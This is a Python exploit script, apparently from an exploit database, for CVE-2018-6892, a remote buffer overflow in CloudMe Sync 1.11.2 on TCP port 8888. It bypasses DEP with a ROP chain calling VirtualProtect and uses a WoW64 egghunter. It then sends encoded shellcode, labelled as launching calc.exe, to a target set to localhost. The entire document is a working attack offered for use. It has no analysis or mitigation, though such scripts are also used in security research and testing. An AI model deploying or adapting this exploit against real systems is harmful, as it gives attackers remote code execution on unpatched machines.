CloudMe Sync 1.11.2 Buffer Overflow

`# Exploit Title: CloudMe Sync v1.11.2 Buffer Overflow - WoW64 - (DEP Bypass)  
# Date: 24.01.2019  
# Exploit Author: Matteo Malvica  
# Vendor Homepage:https://www.cloudme.com/en  
# Software: https://www.cloudme.com/downloads/CloudMe_1112.exe  
# Category: Remote  
# Contact:https://twitter.com/matteomalvica  
# Version: CloudMe Sync 1.11.2  
# Tested on: Windows 7 SP1 x64  
# CVE-2018-6892  
# Ported to WoW64 from https://www.exploit-db.com/exploits/46218   
  
import socket  
import struct  
  
def create_rop_chain():  
# rop chain generated with mona.py - www.corelan.be  
rop_gadgets = [  
0x61ba8b5e, # POP EAX # RETN [Qt5Gui.dll]   
0x690398a8, # ptr to &VirtualProtect() [IAT Qt5Core.dll]  
0x61bdd7f5, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll]   
0x68aef542, # XCHG EAX,ESI # RETN [Qt5Core.dll]   
0x68bfe66b, # POP EBP # RETN [Qt5Core.dll]   
0x68f82223, # & jmp esp [Qt5Core.dll]  
0x6d9f7736, # POP EDX # RETN [Qt5Sql.dll]   
0xfffffdff, # Value to negate, will become 0x00000201  
0x6eb47092, # NEG EDX # RETN [libgcc_s_dw2-1.dll]   
0x61e870e0, # POP EBX # RETN [Qt5Gui.dll]   
0xffffffff, #   
0x6204f463, # INC EBX # RETN [Qt5Gui.dll]   
0x68f8063c, # ADD EBX,EDX # ADD AL,0A # RETN [Qt5Core.dll]   
0x61ec44ae, # POP EDX # RETN [Qt5Gui.dll]   
0xffffffc0, # Value to negate, will become 0x00000040  
0x6eb47092, # NEG EDX # RETN [libgcc_s_dw2-1.dll]   
0x61e2a807, # POP ECX # RETN [Qt5Gui.dll]   
0x6eb573c9, # &Writable location [libgcc_s_dw2-1.dll]  
0x61e85d66, # POP EDI # RETN [Qt5Gui.dll]   
0x6d9e431c, # RETN (ROP NOP) [Qt5Sql.dll]  
0x61ba8ce5, # POP EAX # RETN [Qt5Gui.dll]   
0x90909090, # nop  
0x61b6b8d0, # PUSHAD # RETN [Qt5Gui.dll]   
]  
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)  
  
rop_chain = create_rop_chain()  
  
target="127.0.0.1"  
junk="A"*1052  
eip = "\xfc\x57\xea\x61" # 0x61ea57fc   
nops = "\x90\x90\x90\x90"   
  
egg64 = ("\x66\x8c\xcb\x80\xfb\x23\x75\x08\x31\xdb\x53\x53\x53\x53\xb3\xc0"  
"\x66\x81\xca\xff\x0f\x42\x52\x80\xfb\xc0\x74\x19\x6a\x02\x58\xcd"  
"\x2e\x5a\x3c\x05\x74\xea\xb8"  
"\x77\x30\x30\x74" # tag w00t  
"\x89\xd7\xaf\x75\xe5\xaf\x75\xe2\xff\xe7\x6a\x26\x58\x31\xc9\x89"  
"\xe2\x64\xff\x13\x5e\x5a\xeb\xdf")  
  
#Shellcode calc.exe  
shellcode = ""  
shellcode += "\xdb\xde\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x31\xba\xef"  
shellcode += "\xc3\xbd\x59\x83\xc0\x04\x31\x50\x14\x03\x50\xfb\x21"  
shellcode += "\x48\xa5\xeb\x24\xb3\x56\xeb\x48\x3d\xb3\xda\x48\x59"  
shellcode += "\xb7\x4c\x79\x29\x95\x60\xf2\x7f\x0e\xf3\x76\xa8\x21"  
shellcode += "\xb4\x3d\x8e\x0c\x45\x6d\xf2\x0f\xc5\x6c\x27\xf0\xf4"  
shellcode += "\xbe\x3a\xf1\x31\xa2\xb7\xa3\xea\xa8\x6a\x54\x9f\xe5"  
shellcode += "\xb6\xdf\xd3\xe8\xbe\x3c\xa3\x0b\xee\x92\xb8\x55\x30"  
shellcode += "\x14\x6d\xee\x79\x0e\x72\xcb\x30\xa5\x40\xa7\xc2\x6f"  
shellcode += "\x99\x48\x68\x4e\x16\xbb\x70\x96\x90\x24\x07\xee\xe3"  
shellcode += "\xd9\x10\x35\x9e\x05\x94\xae\x38\xcd\x0e\x0b\xb9\x02"  
shellcode += "\xc8\xd8\xb5\xef\x9e\x87\xd9\xee\x73\xbc\xe5\x7b\x72"  
shellcode += "\x13\x6c\x3f\x51\xb7\x35\x9b\xf8\xee\x93\x4a\x04\xf0"  
shellcode += "\x7c\x32\xa0\x7a\x90\x27\xd9\x20\xfe\xb6\x6f\x5f\x4c"  
shellcode += "\xb8\x6f\x60\xe0\xd1\x5e\xeb\x6f\xa5\x5e\x3e\xd4\x59"  
shellcode += "\x15\x63\x7c\xf2\xf0\xf1\x3d\x9f\x02\x2c\x01\xa6\x80"  
shellcode += "\xc5\xf9\x5d\x98\xaf\xfc\x1a\x1e\x43\x8c\x33\xcb\x63"  
shellcode += "\x23\x33\xde\x07\xa2\xa7\x82\xe9\x41\x40\x20\xf6"  
  
payload = junk+ eip + nops * 3 + rop_chain + nops*4 + egg64 + nops*4 + "w00tw00t" + shellcode  
  
try:  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((target,8888))  
s.send(payload)  
except:  
print "Crashed!"  
`